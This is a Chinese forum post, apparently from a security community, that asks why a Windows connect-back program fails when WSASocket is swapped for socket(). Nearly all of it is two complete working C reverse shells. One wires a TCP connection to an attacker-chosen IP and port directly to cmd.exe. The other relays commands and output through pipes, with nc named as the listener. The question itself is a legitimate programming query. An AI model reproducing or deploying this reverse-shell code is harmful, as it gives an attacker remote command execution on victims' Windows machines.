这段时间理了理常见类型的shellcode,其中在过connect back类型时,遇到了一点疑惑的地方。
先上代码,下面是windows下connect back的c代码:
// create "cmd" shell and redirect the input/output
BOOL open_shell(HANDLE hInput, HANDLE hOutput)
{
PROCESS_INFORMATION pi;
STARTUPINFO si;
memset(&si, 0, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
si.dwFlags |= STARTF_USESTDHANDLES;
si.hStdInput = hInput;
si.hStdOutput = hOutput;
si.hStdError = hOutput;
TCHAR cmd_line[MAX_PATH];
_sntprintf_s(cmd_line, MAX_PATH, _T("%s"), _T("cmd.exe"));
if (CreateProcess(NULL, cmd_line, NULL, NULL, true, 0, NULL, NULL, &si, &pi))
{
g_hProcess = pi.hProcess;
CloseHandle(pi.hThread);
return TRUE;
}
return FALSE;
}
int _tmain(int argc, _TCHAR* argv[])
{
if (argc < 3)
{
Usage();
return -1;
}
short tport;
if ((tport = _ttoi(argv[2])) == 0)
{
fprintf(stderr, "target port number error\n");
return -1;
}
// initial socket
WSADATA wsa;
if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0){
fprintf(stderr, "Initial socket error:%d\n", GetLastError());
return -1;
}
// create socket
SOCKET server_socket;
//if ((server_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)
if ((server_socket = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0)) == INVALID_SOCKET)
{
fprintf(stderr, "Create socket error:%d\n", GetLastError());
return -1;
}
// get target ip
char target_ip[20];
unsigned long ip;
if ((tchar2char(argv[1], target_ip, sizeof(target_ip)) == -1) ||
(ip = inet_addr(target_ip)) == INADDR_NONE)
{
fprintf(stderr, "Target ip error!\n");
return -1;
}
printf("Connect back to %s:%d\n", target_ip, tport);
sockaddr_in server_addr;
memset(&server_addr, 0, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.S_un.S_addr = ip;
server_addr.sin_port = htons(tport);
// connect to server
if (connect(server_socket,
(sockaddr *)&server_addr,
sizeof(server_addr)) == SOCKET_ERROR)
{
fprintf(stderr, "Connect to target server error:%d\n", GetLastError());
return -1;
}
if (open_shell((HANDLE)server_socket, (HANDLE)server_socket) == false)
{
fprintf(stderr, "Open cmd shell error: %d\n", GetLastError());
return -1;
}
CloseHandle(g_hProcess);
ExitProcess(GetLastError());
return 0;
}
利用nc作为server端进行监听,这份代码可以工作,本人存在疑惑的地方时,将WSASocket函数换成Socket函数,这份代码就工作不了,也查看了网上的一些关于两者的差别,但仍没能清楚个中原因,还望大家多多指点!
用Socket函数也不是不可以,查看了一下msdn上关于重定向std的方法,可以通过pipe来中转shell与socket的输入输出,代码如下:
// recv command from server, redirect the command to "cmd" shell, and
// send the result to server
bool wait_for_command(SOCKET s, char *recv_buf, int buf_bytes, HANDLE hInputPipe, HANDLE hOutputPipe)
{
int recv_len = recv(s, recv_buf, buf_bytes, 0);
recv_buf[recv_len] = '\0';
if (strcmp(recv_buf, "quit\r\n") == 0)
{
return false;
}
printf(">>%s", recv_buf);
DWORD bytes_written = 0;
WriteFile(hInputPipe, recv_buf, recv_len, &bytes_written, NULL);
Sleep(10);
DWORD bytes_available = 0;
DWORD bytes_readed = 0;
PeekNamedPipe(hOutputPipe, NULL, NULL, NULL, &bytes_available, NULL); // check whether data is available
while (bytes_available > 0)
{
ReadFile(hOutputPipe, recv_buf, buf_bytes, &bytes_readed, NULL);
if (send(s, recv_buf, bytes_readed, NULL) == SOCKET_ERROR)
{
printf("Send message error: %d\n", GetLastError());
return false;
}
bytes_available -= bytes_readed;
}
return true;
}
int _tmain(int argc, _TCHAR* argv[])
{
if (argc < 3)
{
Usage();
return -1;
}
short tport;
if ((tport = _ttoi(argv[2])) == 0)
{
fprintf(stderr, "target port number error\n");
return -1;
}
// initial socket
WSADATA wsa;
if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0){
fprintf(stderr, "Initial socket error:%d\n", GetLastError());
return -1;
}
// create socket
SOCKET server_socket;
if ((server_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)
{
fprintf(stderr, "Create socket error:%d\n", GetLastError());
return -1;
}
// get target ip
char target_ip[20];
unsigned long ip;
if ((tchar2char(argv[1], target_ip, sizeof(target_ip)) == -1) ||
(ip = inet_addr(target_ip)) == INADDR_NONE)
{
fprintf(stderr, "Target ip error!\n");
return -1;
}
printf("Connect back to %s:%d\n", target_ip, tport);
sockaddr_in server_addr;
memset(&server_addr, 0, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.S_un.S_addr = ip;
server_addr.sin_port = htons(tport);
// connect to server
if (connect(server_socket,
(sockaddr *)&server_addr,
sizeof(server_addr)) == SOCKET_ERROR)
{
fprintf(stderr, "Connect to target server error:%d\n", GetLastError());
return -1;
}
// create pipe
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
HANDLE hInputRead, hOutputRead, hInputWrite, hOutputWrite;
CreatePipe(&hInputRead, &hInputWrite, &sa, RECV_BUF_SIZE);
CreatePipe(&hOutputRead, &hOutputWrite, &sa, RECV_BUF_SIZE);
// open cmd shell
char recv_buf[RECV_BUF_SIZE];
if (open_shell(hInputRead, hOutputWrite) == false) // 这个函数的实现跟上面是一样的,就不贴了
{
fprintf(stderr, "Open cmd shell error: %d\n", GetLastError());
return -1;
}
// recv command from server
bool do_continue = true;
while (do_continue)
{
do_continue = wait_for_command(server_socket, recv_buf, sizeof(recv_buf), hOutputRead, hInputWrite);
}
CloseHandle(hInputRead);
CloseHandle(hInputWrite);
CloseHandle(hOutputRead);
CloseHandle(hOutputWrite);
closesocket(server_socket);
WSACleanup();
TerminateProcess(g_hProcess, GetLastError());
CloseHandle(g_hProcess);
return 0;
}
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课